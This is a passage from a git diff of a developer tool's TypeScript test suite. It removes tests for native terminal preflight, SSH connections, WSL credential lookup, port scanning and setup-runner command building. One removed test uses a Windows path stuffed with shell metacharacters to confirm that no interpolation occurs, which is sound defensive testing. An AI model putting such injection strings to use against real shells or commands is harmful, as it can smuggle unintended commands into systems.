'../runtime/native-terminal-availability' -import type { NodePtyPreconditionVerdict } from './node-pty-precondition' - -const ABI = { - platform: 'linux' as NodeJS.Platform, - arch: 'x64', - libc: 'glibc' as const, - glibcVersion: '2.31', - nodeAbi: '127' -} - -const verdict = (over: Partial): NodePtyPreconditionVerdict => ({ - status: 'ok', - slot: 'linux-x64-glibc', - abi: ABI, - ...over -}) - -const harness = (given: NodePtyPreconditionVerdict) => { - const warn = vi.fn() - const fail = vi.fn() - const exit = vi.fn(() => undefined as never) - const continued = runOrcadNativePreflight({ - check: () => given, - toolchainHints: () => [' sudo apt-get install -y build-essential python3'], - warn, - fail, - exit - }) - return { warn, fail, exit, continued } -} - -afterEach(() => { - setRuntimeTerminalUnavailableCause(null) -}) - -describe('runOrcadNativePreflight', () => { - it('stops the boot on a proven-unloadable binary instead of reaching the require', () => { - // operator would get the loader's stack trace instead of the sentence below. - const { fail, exit, warn } = harness( - verdict({ status: 'blocked', reason: 'libc_floor', detail: 'the binary requires GLIBC_2.34' }) - ) - - expect(exit).toHaveBeenCalledWith(ORCAD_EXIT_CONFIGURATION) - expect(warn).not.toHaveBeenCalled() - const message = fail.mock.calls[0][0] as string - expect(message).toContain('newer C library') - expect(message).toContain('the binary requires GLIBC_2.34') - expect(message).toContain('libc glibc 2.31') - expect(message).toContain('sudo apt-get install -y build-essential python3') - }) - - it('publishes the blocked cause as a status degradation', () => { - harness(verdict({ status: 'blocked', reason: 'abi_mismatch', detail: 'built for ABI 115' })) - - expect(runtimeTerminalDegradation()).toEqual({ - code: 'terminal_unavailable', - capability: 'terminal.pty.v1', - reason: 'abi_mismatch', - detail: 'built for ABI 115', - message: - "This host's node-pty binary was built for a different Node ABI than the running Node, so it cannot be loaded. Rebuild node-pty against this Node version. (built for ABI 115)" - }) - }) - - it('boots on a spawn-time-only fault and reports it rather than refusing to serve', () => { - const { continued, exit, warn } = harness( - verdict({ status: 'degraded', reason: 'spawn_helper_missing', detail: 'no spawn-helper' }) - ) - - expect(continued).toBe(true) - expect(exit).not.toHaveBeenCalled() - expect(warn).toHaveBeenCalledOnce() - expect(runtimeTerminalDegradation()?.reason).toBe('spawn_helper_missing') - }) - - it('boots when the probe established nothing, because that is not evidence of a fault', () => { - const { continued, exit } = harness( - verdict({ status: 'unverifiable', reason: 'unknown', detail: 'probe timed out' }) - ) - - expect(continued).toBe(true) - expect(exit).not.toHaveBeenCalled() - expect(runtimeTerminalDegradation()?.reason).toBe('unknown') - }) - - it('reports nothing when the load was proved good', () => { - setRuntimeTerminalUnavailableCause({ reason: 'load_failed' }) - - const { continued, warn, fail } = harness(verdict({ status: 'ok' })) - - expect(continued).toBe(true) - expect(warn).not.toHaveBeenCalled() - expect(fail).not.toHaveBeenCalled() - expect(runtimeTerminalDegradation()).toBeNull() - }) - - it('does not run the toolchain probe for a verdict that is not about a missing build', () => { - const toolchainHints = vi.fn(() => [] as string[]) - runOrcadNativePreflight({ - check: () => verdict({ status: 'degraded', reason: 'spawn_helper_missing' }), - toolchainHints, - warn: vi.fn(), - fail: vi.fn(), - exit: vi.fn(() => undefined as never) - }) - expect(toolchainHints).not.toHaveBeenCalled() - }) -}) - -describe('runOrcadNativePreflightVerdict', () => { - it('skips the probe for a qualified slot and clears any stale degradation', () => { - setRuntimeTerminalUnavailableCause({ reason: 'load_failed', detail: 'old' }) - const check = vi.fn(() => verdict({ status: 'blocked' })) - - expect(runOrcadNativePreflightVerdict({ qualified: true, check })).toBe('ok') - - expect(check).not.toHaveBeenCalled() - expect(runtimeTerminalDegradation()).toBeNull() - }) - - it('reports a degraded probe as such, so it cannot qualify the slot', () => { - expect( - runOrcadNativePreflightVerdict({ - check: () => verdict({ status: 'degraded', reason: 'spawn_helper_missing' }), - warn: vi.fn() - }) - ).toBe('degraded') - }) -}) diff --git a/src/main/orcad/orcad-wsl-host-claude-profile-refresh.test.ts b/src/main/orcad/orcad-wsl-host-claude-profile-refresh.test.ts index a2c9af1ecb2..a8a9c2efee0 100644 --- a/src/main/orcad/orcad-wsl-host-claude-profile-refresh.test.ts +++ b/src/main/orcad/orcad-wsl-host-claude-profile-refresh.test.ts @@ -135,19 +135,4 @@ describe('WSL host Claude folder refresh', () => { switched.claude.CLAUDE_CONFIG_DIR ]) }) - - it('refreshes before a Claude launch the host starts, and not for other launches', async () => { - const home = guestHome() - const refreshClaudeProfile = vi.fn(async () => {}) - const accounts = new RuntimeAccountController() - accounts.restoreHostLaunchEnv(launchEnvFor(home), () => {}, { refreshClaudeProfile }) - - await accounts.prepareHostAgentLaunch('codex') - await accounts.prepareHostAgentLaunch(null) - expect(refreshClaudeProfile).not.toHaveBeenCalled() - - await accounts.prepareHostAgentLaunch('claude') - await accounts.getCommitMessageAgentEnvironment()?.prepareForClaudeLaunch?.() - expect(refreshClaudeProfile).toHaveBeenCalledTimes(2) - }) }) diff --git a/src/main/persistence/profile-state/profile-state-writer-reopen-policy.test.ts b/src/main/persistence/profile-state/profile-state-writer-reopen-policy.test.ts index ebea45a5f72..9f4705abed2 100644 --- a/src/main/persistence/profile-state/profile-state-writer-reopen-policy.test.ts +++ b/src/main/persistence/profile-state/profile-state-writer-reopen-policy.test.ts @@ -1,8 +1,5 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { - ProfileStateWriterReopenPolicy, - reportTerminalReopenFailure -} from './profile-state-writer-reopen-policy' +import { ProfileStateWriterReopenPolicy } from './profile-state-writer-reopen-policy' const spawnFailure = Object.assign(new Error('spawn failed'), { code: 'profile-state-writer-unavailable' @@ -64,43 +61,4 @@ describe('ProfileStateWriterReopenPolicy', () => { now = 1_000 expect(() => policy.admit()).not.toThrow() }) - - it('reports a terminal failure even when the listener throws', () => { - const error = vi.spyOn(console, 'error').mockImplementation(() => {}) - const conflict = Object.assign(new Error('changed'), { - code: 'profile-state-revision-conflict' - }) - const seen: Error[] = [] - expect(() => - reportTerminalReopenFailure((reported) => { - seen.push(reported) - throw new Error('listener broke') - }, conflict) - ).not.toThrow() - expect(seen).toEqual([conflict]) - expect(error).toHaveBeenCalledWith( - '[persistence] Could not report stopped saving:', - expect.objectContaining({ message: 'listener broke' }) - ) - }) - - it('keeps a revision conflict terminal', () => { - const policy = new ProfileStateWriterReopenPolicy(() => 0) - expect(policy.recordFailure({ code: 'profile-state-revision-conflict' })).toBeNull() - expect(() => policy.admit()).not.toThrow() - }) - - it('counts every attempt and logs at most once per ten minutes', () => { - let now = 0 - const info = vi.spyOn(console, 'info').mockImplementation(() => {}) - const policy = new ProfileStateWriterReopenPolicy(() => now) - policy.recordAttempt() - now = 9 * 60_000 - policy.recordAttempt() - now = 10 * 60_000 - policy.recordAttempt() - expect(policy.count).toBe(3) - expect(info).toHaveBeenCalledTimes(2) - info.mockRestore() - }) }) diff --git a/src/main/ports/workspace-port-execution-host.test.ts b/src/main/ports/workspace-port-execution-host.test.ts index 1ccd842b35b..34bd3499439 100644 --- a/src/main/ports/workspace-port-execution-host.test.ts +++ b/src/main/ports/workspace-port-execution-host.test.ts @@ -54,17 +54,6 @@ describe('scanWorkspacePortsOnExecutionHost', () => { vi.restoreAllMocks() }) - it('scans this host for a local workspace and names the host', async () => { - scanWorkspacePortsMock.mockResolvedValue(localWorkspaceScan()) - const d = deps() - - const result = await scanWorkspacePortsOnExecutionHost('local', d) - - expect(scanWorkspacePortsMock).toHaveBeenCalledWith([LOCAL_PROBE], undefined, undefined) - expect(result).toMatchObject({ executionHostId: 'local', platform: 'linux' }) - expect(result.ports).toHaveLength(1) - }) - it('reports an SSH host as unavailable, not as an empty host, and never scans this host', async () => { const result = await scanWorkspacePortsOnExecutionHost('ssh:box', deps()) @@ -73,14 +62,6 @@ describe('scanWorkspacePortsOnExecutionHost', () => { expect(result.unavailableReason).toBe(SSH_PORT_SCAN_UNSUPPORTED_REASON) expect(result.unavailableReason).not.toMatch(/dropped|Reconnect/) }) - - it('refuses a workspace hosted by another server instead of scanning here', async () => { - const d = deps() - const result = await scanWorkspacePortsOnExecutionHost('runtime:env-2', d) - - expect(scanWorkspacePortsMock).not.toHaveBeenCalled() - expect(result.unavailableReason).toBeTruthy() - }) }) describe('killWorkspacePortOnExecutionHost', () => { @@ -89,23 +70,6 @@ describe('killWorkspacePortOnExecutionHost', () => { vi.restoreAllMocks() }) - it('stops a workspace-owned listener on this host after re-proving ownership', async () => { - const kill = vi.spyOn(process, 'kill').mockImplementation(() => true) - scanWorkspacePortsMock.mockResolvedValue(localWorkspaceScan()) - - const result = await killWorkspacePortOnExecutionHost( - 'local', - { executionHostId: 'local', pid: PID, port: PORT }, - deps() - ) - - expect(result).toEqual({ ok: true }) - expect(scanWorkspacePortsMock).toHaveBeenCalledWith([LOCAL_PROBE], undefined, { - requireMetadata: true - }) - expect(kill).toHaveBeenCalledWith(PID, 'SIGTERM') - }) - it("never signals this host's same pid for a row scanned on the SSH host", async () => { const kill = vi.spyOn(process, 'kill').mockImplementation(() => true) scanWorkspacePortsMock.mockResolvedValue(localWorkspaceScan()) diff --git a/src/main/rate-limits/kimi-fetcher-wsl-home.test.ts b/src/main/rate-limits/kimi-fetcher-wsl-home.test.ts index 2f5fce33f95..2d1b1490880 100644 --- a/src/main/rate-limits/kimi-fetcher-wsl-home.test.ts +++ b/src/main/rate-limits/kimi-fetcher-wsl-home.test.ts @@ -76,48 +76,6 @@ describe('fetchKimiRateLimits with a WSL credentials home', () => { expect(fetchMock.mock.calls[0][1].headers.Authorization).toBe('Bearer wsl-fresh') }) - it('still reads the host home by default', async () => { - const result = await fetchKimiRateLimits() - - expect(result.status).toBe('error') - expect(result.usageMetadata?.failureKind).toBe('delegated-refresh-required') - expect(result.error).toContain('on the computer running Orca') - expect(fetchMock).not.toHaveBeenCalled() - }) - - it('points an expired WSL session at the distro to rerun kimi in', async () => { - files.set(WSL_CREDENTIALS, credentials('wsl-stale', -60)) - - const result = await fetchKimiRateLimits({ - home: { runtime: 'wsl', wslDistro: 'Ubuntu', path: WSL_HOME } - }) - - expect(result.error).toBe( - 'Kimi session expired — run kimi inside WSL (Ubuntu), then retry usage.' - ) - expect(result.usageMetadata?.failureKind).toBe('delegated-refresh-required') - }) - - it('reports an unresolvable WSL home instead of falling back to host credentials', async () => { - const result = await fetchKimiRateLimits({ - home: { runtime: 'wsl', wslDistro: 'Ubuntu', path: null } - }) - - expect(result.status).toBe('error') - expect(result.error).toBe('WSL Kimi home unavailable for Ubuntu') - expect(fetchMock).not.toHaveBeenCalled() - }) - - it('reports not signed in when the WSL home has no credentials file', async () => { - files.delete(WSL_CREDENTIALS) - - const result = await fetchKimiRateLimits({ - home: { runtime: 'wsl', wslDistro: 'Ubuntu', path: WSL_HOME } - }) - - expect(result.status).toBe('unavailable') - }) - // Hung UNC probes stay shared; isolate the stopped distro path so it cannot poison other cases. it('bounds a stalled UNC read instead of parking the poll cycle', async () => { const stalledHome = '\\\\wsl.localhost\\Stopped\\home\\neil\\.kimi-code' diff --git a/src/main/runtime/orchestration/setup-completion-signal.test.ts b/src/main/runtime/orchestration/setup-completion-signal.test.ts index 5ac0ffab54f..03dc5c39013 100644 --- a/src/main/runtime/orchestration/setup-completion-signal.test.ts +++ b/src/main/runtime/orchestration/setup-completion-signal.test.ts @@ -1,83 +1,7 @@ import { describe, expect, it, vi } from 'vitest' -import { buildObservedSetupCommand, createSetupCompletionScanner } from './setup-completion-signal' +import { createSetupCompletionScanner } from './setup-completion-signal' describe('orchestration setup completion signal', () => { - it('preserves a POSIX setup exit code in a visible completion signal', () => { - const { command } = buildObservedSetupCommand( - '/repo/.git/orca/setup-runner.sh', - 'posix', - 'token-posix' - ) - - expect(command).toContain('bash /repo/.git/orca/setup-runner.sh') - expect(command).toContain('__ORCA_SETUP_COMPLETE__:token-posix:%s\\n') - expect(command).toContain('"$status"') - expect(command).toContain('exit "$status"') - // Pair-inserting line editors (zsh-autopair) corrupt typed brackets (#18059). - expect(command).not.toMatch(/[()[\]{}]/) - }) - - it('preserves a native Windows setup path and exit code without shell interpolation', () => { - const runnerPath = 'C:\\repo %name%!^&\\.git\\orca\\setup-runner.cmd' - const observed = buildObservedSetupCommand(runnerPath, 'windows', 'token-windows') - const encodedCommand = observed.command.split(' ').at(-1) - const script = Buffer.from(encodedCommand ?? '', 'base64').toString('utf16le') - - expect(observed.command).toContain('powershell.exe -NoLogo -NoProfile -NonInteractive') - expect(observed.env).toEqual({ ORCA_SETUP_RUNNER_PATH: runnerPath }) - expect(script).toContain('& $runner') - expect(script).toContain('__ORCA_SETUP_COMPLETE__:token-windows:') - expect(script).toContain('exit $status') - expect(script).not.toContain(runnerPath) - }) - - it('keeps a WSL runner on the POSIX completion path', () => { - const { command } = buildObservedSetupCommand( - '\\\\wsl.localhost\\Ubuntu\\repo\\.git\\orca\\setup-runner.sh', - 'windows', - 'token-wsl' - ) - - expect(command).toContain('bash /repo/.git/orca/setup-runner.sh') - expect(command).toContain('__ORCA_SETUP_COMPLETE__:token-wsl:%s\\n') - expect(command).toContain('exit "$status"') - }) - - it('routes a WSL-launched Windows-drive runner through its /mnt mount', () => { - const { command } = buildObservedSetupCommand( - 'C:\\repo\\.git\\orca\\setup-runner.sh', - 'windows', - 'token-mnt', - { family: 'posix', executable: 'wsl.exe' } - ) - - expect(command).toContain('bash /mnt/c/repo/.git/orca/setup-runner.sh') - expect(command).not.toContain('bash /c/repo') - }) - - it('keeps a Git Bash runner on the MSYS drive form', () => { - const { command } = buildObservedSetupCommand( - 'C:\\repo\\.git\\orca\\setup-runner.sh', - 'windows', - 'token-git-bash', - { family: 'posix' } - ) - - expect(command).toContain('bash /c/repo/.git/orca/setup-runner.sh') - }) - - it('keeps a batch runner on the Windows completion path from a Git Bash pane', () => { - // Batch setup still uses a .cmd runner under Git Bash; never type bare cmd.exe /c or observe it through bash (#6896). - const runnerPath = 'C:\\repo\\.git\\orca\\setup-runner.cmd' - const observed = buildObservedSetupCommand(runnerPath, 'windows', 'token-git-bash-cmd', { - family: 'posix' - }) - - expect(observed.command).toContain('powershell.exe -NoLogo -NoProfile -NonInteractive') - expect(observed.command).not.toContain('bash ') - expect(observed.env).toEqual({ ORCA_SETUP_RUNNER_PATH: runnerPath }) - }) - it('recognizes one completion signal across output chunk boundaries', () => { const onComplete = vi.fn() const scanner = createSetupCompletionScanner('token-chunks', onComplete) diff --git a/src/main/runtime/rpc/methods/orchestration/worker/worker-interactive-wait.test.ts b/src/main/runtime/rpc/methods/orchestration/worker/worker-interactive-wait.test.ts index 3e5ecfb4e50..e5021a9e594 100644 --- a/src/main/runtime/rpc/methods/orchestration/worker/worker-interactive-wait.test.ts +++ b/src/main/runtime/rpc/methods/orchestration/worker/worker-interactive-wait.test.ts @@ -144,18 +144,4 @@ describe('worker-show interactive wait (STA-3714, STA-4513)', () => { expect(result.observation.exactWorker).toBe(false) expect('agentWait' in result.observation).toBe(false) }) - - it('agrees with the terminal payload it is derived from', async () => { - const result = (await showWorkerPaneServing(fixture('cursor-agent-approval-prompt'))) as { - terminal: { agentWait: unknown } | null - observation: { agentWait: unknown } - } - - // Assert shape before equality, which otherwise passes when both fields are absent. - expect(result.observation.agentWait).toMatchObject({ - source: 'prompt-text', - reason: 'agent-approval-prompt' - }) - expect(result.observation.agentWait).toEqual(result.terminal?.agentWait) - }) }) diff --git a/src/main/runtime/runtime-managed-worktree-metadata-wsl-move.test.ts b/src/main/runtime/runtime-managed-worktree-metadata-wsl-move.test.ts index 5a43cac2976..10915c15d6d 100644 --- a/src/main/runtime/runtime-managed-worktree-metadata-wsl-move.test.ts +++ b/src/main/runtime/runtime-managed-worktree-metadata-wsl-move.test.ts @@ -126,18 +126,4 @@ describe('persistRuntimeManagedWorktreeSortOrder under a WSL move', () => { expect(store.getWorktreeMeta(MOVING)?.sortOrder).toBe(1) expect(store.getWorktreeMeta(STAYING)?.sortOrder).toBeGreaterThan(2) }) - - // A host-qualified read migrates a legacy row in place, which the move must keep frozen. - it('never reads the moving copy by host, even when the client names its host', () => { - store.setWorktreeMeta(hostWorktreeTarget({ id: STAYING, hostId: 'local' }), { sortOrder: 2 }) - const hostRead = vi.spyOn(store, 'getWorktreeMetaForHost') - persistRuntimeManagedWorktreeSortOrder({ - orderedIds: [MOVING, STAYING], - hostIds: ['local', 'local'], - store, - invalidateResolved: vi.fn(), - notifyChanged: vi.fn() - }) - expect(hostRead.mock.calls.map(([id]) => id)).not.toContain(MOVING) - }) }) diff --git a/src/main/runtime/terminal/launch/terminal-split-retry.test.ts b/src/main/runtime/terminal/launch/terminal-split-retry.test.ts index 049eee90f1b..8bb213db183 100644 --- a/src/main/runtime/terminal/launch/terminal-split-retry.test.ts +++ b/src/main/runtime/terminal/launch/terminal-split-retry.test.ts @@ -65,17 +65,6 @@ describe.skipIf(ORCA_LAYOUT_OWNER_IS_MAIN)( vi.useRealTimers() }) - it('names the pending pane and says it may still run its command', async () => { - const harness = createHarness() - const { error, leafId } = await timedOutSplit(harness) - - expect(leafId).toBe(harness.rendererSplitTerminal.mock.calls[0]?.[2]?.newLeafId) - expect(error.message).toContain('Timed out waiting for split pane handle') - expect(error.message).toContain(leafId) - expect(error.data).toMatchObject({ tabId: TAB_ID, splitMayStillComplete: true }) - expect(error.data.nextSteps.join('\n')).toContain(`--retry-split ${leafId}`) - }) - it('keeps waiting for a pane the window already listed while its terminal starts', async () => { const harness = createHarness() const split = harness.runtime.splitTerminal(harness.handle, { command: 'agent' }) diff --git a/src/main/ssh/config/ssh-config-loader-regression.test.ts b/src/main/ssh/config/ssh-config-loader-regression.test.ts index 089ee9d99bb..86205338b2c 100644 --- a/src/main/ssh/config/ssh-config-loader-regression.test.ts +++ b/src/main/ssh/config/ssh-config-loader-regression.test.ts @@ -108,47 +108,6 @@ describe('loadUserSshConfig regressions', () => { expect(hosts.map((host) => host.host)).toEqual(['alpha', 'zeta', 'team', 'forward']) }) - it('preserves quoted Windows include paths with native backslashes and spaces', async () => { - const files = new Map([ - [ - normalizeWin('C:/Users/Test User/.ssh/config'), - 'Include "C:\\Users\\Test User\\quoted configs\\team.conf"' - ], - [ - normalizeWin('C:/Users/Test User/quoted configs/team.conf'), - 'Host team\n HostName team.example.com\n' - ] - ]) - - await mockOs('C:\\Users\\Test User', 'TestUser', -1, 'winbox.example.com') - vi.doMock('fs', async () => { - const actual = await vi.importActual('fs') - return { - ...actual, - existsSync: (filePath: string) => files.has(normalizeWin(filePath)), - readFileSync: (filePath: string) => { - const content = files.get(normalizeWin(filePath)) - if (content === undefined) { - throw new Error(`ENOENT: ${filePath}`) - } - return content - }, - realpathSync: Object.assign((filePath: string) => normalizeWin(filePath), { - native: (filePath: string) => normalizeWin(filePath) - }), - statSync: (filePath: string) => { - const content = files.get(normalizeWin(filePath)) - if (content === undefined) { - throw new Error(`ENOENT: ${filePath}`) - } - return { isFile: () => true, size: content.length } - } - } - }) - - expect(await loadUserSshConfig()).toEqual([{ host: 'team', hostname: 'team.example.com' }]) - }) - it('skips non-regular include targets without reading them', async () => { const warnSpy = vi.spyOn(console, 'warn').mockImplementation(() => {}) const home = platformSshHome() diff --git a/src/main/ssh/connection/ssh-connection-host-key-verification.test.ts b/src/main/ssh/connection/ssh-connection-host-key-verification.test.ts index 52a836ceef4..8954e2e605d 100644 --- a/src/main/ssh/connection/ssh-connection-host-key-verification.test.ts +++ b/src/main/ssh/connection/ssh-connection-host-key-verification.test.ts @@ -56,13 +56,6 @@ describe('SshConnection host key verification', () => { expect(ssh2Mock.lastHostKeyAccepted, 'the handshake accepted an unidentifiable key').toBe(false) }) - it('accepts a well-formed host key on first contact', async () => { - const conn = new SshConnection(createTarget(), createCallbacks()) - await conn.connect() - - expect(ssh2Mock.lastHostKeyAccepted).toBe(true) - }) - // A rejected host key must bypass credential fallbacks or auth-shaped errors could disclose a secret to the refused peer. it('never asks for a credential after refusing a host key', async () => { vi.stubEnv('SSH_AUTH_SOCK', '/tmp/agent.sock') diff --git a/src/main/ssh/connection/ssh-connection-manager-registry.test.ts b/src/main/ssh/connection/ssh-connection-manager-registry.test.ts index 923a76d5ccc..f042988be6a 100644 --- a/src/main/ssh/connection/ssh-connection-manager-registry.test.ts +++ b/src/main/ssh/connection/ssh-connection-manager-registry.test.ts @@ -42,73 +42,6 @@ describe('SshConnectionManager', () => { resetSsh2ClientState() }) - it('connect creates and stores a connection', async () => { - const mgr = new SshConnectionManager(createCallbacks()) - const target = createTarget() - - const conn = await mgr.connect(target) - expect(conn.getState().status).toBe('connected') - expect(mgr.getConnection(target.id)).toBe(conn) - }) - - it('getState returns connection state', async () => { - const mgr = new SshConnectionManager(createCallbacks()) - const target = createTarget() - - await mgr.connect(target) - const state = mgr.getState(target.id) - - expect(state).toBeTruthy() - expect(state!.status).toBe('connected') - }) - - it('getState returns null for unknown targets', () => { - const mgr = new SshConnectionManager(createCallbacks()) - expect(mgr.getState('unknown')).toBeNull() - }) - - it('disconnect removes the connection', async () => { - const mgr = new SshConnectionManager(createCallbacks()) - const target = createTarget() - - await mgr.connect(target) - await mgr.disconnect(target.id) - - expect(mgr.getConnection(target.id)).toBeUndefined() - }) - - it('reuses existing connected connection for same target', async () => { - const mgr = new SshConnectionManager(createCallbacks()) - const target = createTarget() - - const conn1 = await mgr.connect(target) - const conn2 = await mgr.connect(target) - - expect(conn2).toBe(conn1) - }) - - it('getAllStates returns all connection states', async () => { - const mgr = new SshConnectionManager(createCallbacks()) - await mgr.connect(createTarget({ id: 'a' })) - await mgr.connect(createTarget({ id: 'b' })) - - const states = mgr.getAllStates() - expect(states.size).toBe(2) - expect(states.get('a')?.status).toBe('connected') - expect(states.get('b')?.status).toBe('connected') - }) - - it('disconnectAll disconnects all connections', async () => { - const mgr = new SshConnectionManager(createCallbacks()) - await mgr.connect(createTarget({ id: 'a' })) - await mgr.connect(createTarget({ id: 'b' })) - - await mgr.disconnectAll() - - expect(mgr.getConnection('a')).toBeUndefined() - expect(mgr.getConnection('b')).toBeUndefined() - }) - it('does not erase a replacement registered while an admitted disconnect settles', async () => { const mgr = new SshConnectionManager(createCallbacks()) const target = createTarget({ id: 'target' }) diff --git a/src/main/ssh/ssh-agent-identity-filter.test.ts b/src/main/ssh/ssh-agent-identity-filter.test.ts index c6d5cc3c09b..1a09e41f8a0 100644 --- a/src/main/ssh/ssh-agent-identity-filter.test.ts +++ b/src/main/ssh/ssh-agent-identity-filter.test.ts @@ -142,23 +142,4 @@ describe('createIdentityFilteredAgent', () => { expect(createIdentityFilteredAgent('/tmp/agent.sock', ['~/.ssh/work_key'])).toBeUndefined() expect(mocks.createAgent).not.toHaveBeenCalled() }) - - it('delegates signing to the underlying agent', () => { - const allowedKey = makeKey('allowed') - const sign = vi.fn() - const options = { hash: 'sha256' as const } - const callback = vi.fn() - mocks.readFileSync.mockReturnValue('ssh-ed25519 AAAA allowed') - mocks.parseKey.mockReturnValue(allowedKey) - mocks.createAgent.mockReturnValue({ - getIdentities: vi.fn(), - sign - }) - - const agent = createIdentityFilteredAgent('/tmp/agent.sock', ['~/.ssh/work_key']) - const data = Buffer.from('payload') - agent?.sign(allowedKey as never, data, options, callback) - - expect(sign).toHaveBeenCalledWith(allowedKey, data, options, callback) - }) }) diff --git a/src/main/ssh/ssh-control-socket.test.ts b/src/main/ssh/ssh-control-socket.test.ts index 8e4d4c39fdf..ca6da357740 100644 --- a/src/main/ssh/ssh-control-socket.test.ts +++ b/src/main/ssh/ssh-control-socket.test.ts @@ -113,22 +113,4 @@ describe.skipIf(process.platform === 'win32')('getControlSocketPath', () => { expect(after).not.toBe(before) }) - - it('uses XDG_RUNTIME_DIR before tmp when it is absolute and private', () => { - vi.stubEnv('XDG_RUNTIME_DIR', '/run/user/501') - - const path = getControlSocketPath(createTarget(), createResolved()) - - expect(path).toMatch(/^\/run\/user\/501\/orca-ssh\/[0-9a-f]{16}$/) - }) - - it('falls back to non-multiplexed SSH when the control directory is unsafe', () => { - lstatSyncMock.mockReturnValue({ - isDirectory: () => false, - uid: CURRENT_UID, - mode: 0o40700 - }) - - expect(getControlSocketPath(createTarget(), createResolved())).toBeNull() - }) }) diff --git a/src/preload/browser-extension-content-script-relay.test.ts b/src/preload/browser-extension-content-script-relay.test.ts index 5e9cf64f4c0..98d21664c1a 100644 --- a/src/preload/browser-extension-content-script-relay.test.ts +++ b/src/preload/browser-extension-content-script-relay.test.ts @@ -3,7 +3,6 @@ import { describe, expect, it, vi } from 'vitest' import { CONTENT_SCRIPT_RELAY_KEY, createContentScriptRelayBridge, - createContentScriptSyncForward, installContentScriptRelayFilter } from './browser-extension-content-script-relay' import type { BrowserExtensionStorageSyncRelay } from './browser-extension-storage-sync' @@ -120,41 +119,6 @@ describe('content script relay', () => { expect(seen).toEqual([]) }) - it('passes the calling content script’s id to the worker’s answer', async () => { - const answer = vi.fn(async () => ({ ok: true as const, value: {} })) - const worker = install(answer) - const call = { [CONTENT_SCRIPT_RELAY_KEY]: { method: 'set', args: [{ a: 1 }], from: 'cs-1' } } - await worker.dispatch(call, fromContentScript) - expect(answer).toHaveBeenCalledWith('set', [{ a: 1 }], 'cs-1') - }) - - it('sends a content script’s call to the worker and reports a missing worker as an error', async () => { - const sendMessage = vi.fn(async () => ({ ok: true, value: 3 })) - const bridge = createContentScriptRelayBridge(sendMessage, { id: 'ext' }) - await expect(bridge.call('orcaStorageSync', 'getBytesInUse', [null])).resolves.toEqual({ - ok: true, - value: 3 - }) - expect(sendMessage).toHaveBeenCalledWith({ - [CONTENT_SCRIPT_RELAY_KEY]: { - method: 'getBytesInUse', - args: [null], - from: expect.any(String) - } - }) - - const unanswered = createContentScriptRelayBridge( - async () => { - throw new Error('Could not establish connection. Receiving end does not exist.') - }, - { id: 'ext' } - ) - await expect(unanswered.call('orcaStorageSync', 'get', [])).resolves.toEqual({ - ok: false, - error: 'Could not establish connection. Receiving end does not exist.' - }) - }) - it('gives a listening content script the worker’s sync changes, except its own writes', async () => { const native = new Set() const onMessage = { @@ -191,35 +155,6 @@ describe('content script relay', () => { bridge.listen('orcaStorageSync', 'onChanged', false) expect(native.size).toBe(0) }) - - it('sends the worker’s sync changes to every live tab, naming the writer', async () => { - const sendMessage = vi.fn(async () => undefined) - const tabs = { - query: vi.fn(async () => [{ id: 1 }, { id: 2, discarded: true }, { id: 3 }]), - sendMessage - } - const manifest = (contentScripts: unknown[]) => ({ - content_scripts: contentScripts - }) - const withManifest = (contentScripts: unknown[]) => - vi.stubGlobal('chrome', { tabs, runtime: { getManifest: () => manifest(contentScripts) } }) - try { - withManifest([]) - expect(createContentScriptSyncForward()).toBeNull() - withManifest([{ matches: [''], js: ['content.js'] }]) - createContentScriptSyncForward()?.({ a: { newValue: 1 } }, 'cs-1') - await vi.waitFor(() => expect(sendMessage).toHaveBeenCalledTimes(2)) - const message = { - [CONTENT_SCRIPT_RELAY_KEY]: { changes: { a: { newValue: 1 } }, from: 'cs-1' } - } - expect(sendMessage.mock.calls).toEqual([ - [1, message], - [3, message] - ]) - } finally { - vi.unstubAllGlobals() - } - }) }) function isRecord(value: unknown): value is Record { diff --git a/src/renderer/src/components/browser-pane/stream-remote/use-remote-browser-page-navigation.test.ts b/src/renderer/src/components/browser-pane/stream-remote/use-remote-browser-page-navigation.test.ts index e945777d241..d5e2d798f33 100644 --- a/src/renderer/src/components/browser-pane/stream-remote/use-remote-browser-page-navigation.test.ts +++ b/src/renderer/src/components/browser-pane/stream-remote/use-remote-browser-page-navigation.test.ts @@ -56,21 +56,6 @@ describe('useRemoteBrowserPageNavigation history recording', () => { afterEach(() => cleanup()) - it('files an observed remote navigation into the URL history the address bar suggests from', () => { - const { result } = renderNavigation() - - act(() => - result.current.applyRemoteTabInfo({ - url: 'https://remote.internal/docs', - title: 'Remote docs' - }) - ) - - expect(useAppStore.getState().browserUrlHistory).toEqual([ - expect.objectContaining({ url: 'https://remote.internal/docs', title: 'Remote docs' }) - ]) - }) - it('files one entry however often the same page is re-read', () => { const { result } = renderNavigation() @@ -117,14 +102,6 @@ describe('useRemoteBrowserPageNavigation history recording', () => { ]) }) - it('never files a blank page, which is what a new tab reports before it navigates', () => { - const { result } = renderNavigation() - - act(() => result.current.applyRemoteTabInfo({ url: 'about:blank', title: '' })) - - expect(useAppStore.getState().browserUrlHistory).toHaveLength(0) - }) - it('redacts a Kagi session token before it reaches history', () => { const { result } = renderNavigation() diff --git a/src/renderer/src/components/emulator-pane/emulator-keyboard-paste.test.ts b/src/renderer/src/components/emulator-pane/emulator-keyboard-paste.test.ts index 0d2a3834d6b..a92d484241e 100644 --- a/src/renderer/src/components/emulator-pane/emulator-keyboard-paste.test.ts +++ b/src/renderer/src/components/emulator-pane/emulator-keyboard-paste.test.ts @@ -4,7 +4,6 @@ import { describe, expect, it, vi } from 'vitest' import { buildEmulatorKeyboardPastePlan, EMULATOR_KEYBOARD_PASTE_MAX_BYTES, - iterateEmulatorKeyboardPasteChunks, pasteTextIntoEmulatorKeyboard } from './emulator-keyboard-paste' @@ -20,26 +19,6 @@ describe('emulator keyboard paste', () => { expect(plan.chunks.every((chunk) => chunk.length <= 4)).toBe(true) }) - it('keeps planned chunks aligned with lazy keyboard-frame chunks', () => { - const plan = buildEmulatorKeyboardPastePlan('ab\r\nc', { maxFramesPerChunk: 4 }) - - expect(plan.status).toBe('accepted') - if (plan.status !== 'accepted') { - return - } - expect(plan.chunks).toEqual([...iterateEmulatorKeyboardPasteChunks('ab\r\nc', 4)]) - }) - - it('rejects oversized text before building keyboard frames', () => { - const plan = buildEmulatorKeyboardPastePlan('a'.repeat(EMULATOR_KEYBOARD_PASTE_MAX_BYTES + 1)) - - expect(plan).toEqual({ - byteLength: EMULATOR_KEYBOARD_PASTE_MAX_BYTES + 1, - reason: 'too-large', - status: 'rejected' - }) - }) - 